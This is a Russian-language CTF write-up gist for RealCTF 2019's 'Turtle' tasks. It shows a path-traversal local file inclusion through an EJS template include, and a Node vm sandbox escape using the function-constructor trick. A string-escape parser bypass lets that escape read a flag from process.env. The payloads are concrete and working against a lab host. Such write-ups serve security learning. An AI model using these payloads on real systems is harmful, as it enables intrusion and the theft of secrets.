Skip to content

Instantly share code, notes, and snippets.

@kabachook
Created April 26, 2019 20:33
Show Gist options
  • Save kabachook/1df80f65c16552452e4c7ce63425e196 to your computer and use it in GitHub Desktop.
Save kabachook/1df80f65c16552452e4c7ce63425e196 to your computer and use it in GitHub Desktop.
Черепаха RealCTF 2019

1. Turtle sauce (200)

Есть урл http://tasks.realctf.pro:13743/learn/lesson/functions

Пробуем поменять functions на что-то другое, например kek. Получаем текст:

/usr/src/web/views/lesson.ejs:6
    4| <body>
    5| <%- include("partials/navbar.ejs", {tab: "learn"}); %>
 >> 6| <%- include("lessons/"+lessonPage) %>
    7| </body>
    8| </html>

Could not find the include file "lessons/kek"

Видим на 6 строчке инклуд другого шаблона => LFI

Пробуем выкачать из корня package.json: http://tasks.realctf.pro:13743/learn/lesson/..%2F..%2Fpackage.json - зашло.

Выкачиваем app.js (просто ручками название получилось):

// generated by express-generator

const createError = require('http-errors');
const express = require('express');
const path = require('path');
const cookieParser = require('cookie-parser');
const logger = require('morgan');

const indexRouter = require('./routes/index');
const runRouter = require('./routes/run');
const learnRouter = require('./routes/learn');
const practiceRouter = require('./routes/practice');

const app = express();

const FIRST_FLAG = 'HSE{Ju5T_4n0Th3R_eZ_LF1}';
const SECOND_FLAG = process.env['SECOND_FLAG'];

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

if (app.get('env') === 'development')
    app.use('/static', express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);
app.use('/run', runRouter);
app.use('/learn', learnRouter);
app.use('/practice', practiceRouter);

// catch 404 and forward to error handler
app.use((req, res, next) => {
  next(createError(404));
});

// error handler
app.use((err, req, res, next) => {
  // set locals
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

Первый флаг есть - HSE{Ju5T_4n0Th3R_eZ_LF1}

2. Turtle run (700)

Видим инклуды других файлов, выкачиваем их - это сорцы парсера и компилятора языка

Внутри он построен на V8 vm, т.е. код из turtle компилируется в js. Из app.js видим, что второй флаг лежит в env (process.env.['SECOND_FLAG'])

Гуглим как эскейпнуть из vm(https://nodejs.org/api/vm.html) и выполнить свой код: https://gist.github.com/jcreedcmu/4f6e6d4a649405a9c86bb076905696af

Имеем RCE через конструктор объекта/функции: println.constructor("return process.env['SECOND_FLAG']")() вернет флаг

Проблема в том, что парсер не понимает это.

Пишем Толе, он находит обход парсера:

[In reply to Danil Augustovich] Добавил слэш рядом с кавычкой

func main() {
    string kek = "abc\";
    string kek2 = "));TRTL_FUNC_println__(42)};;
    //\";
}

выведет 42

Пробуем подставить наш пейлоад:

func main() {
  string kek = "abc\";
  string kek2 = "));TRTL_FUNC_println__(TRTL_FUNC_println__.constructor(`return process.env['SECOND_FLAG']`)())};;
  //\";
}

Получаем флаг HSE{Nev3R_wR1tE_pAr5ERs_M4nUaLLy}

BTW:

Кстати да, через {} не заходит, потмому что оно в контексте вм, а println была создана вне сендбокса this.constructor.constructor зашло

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment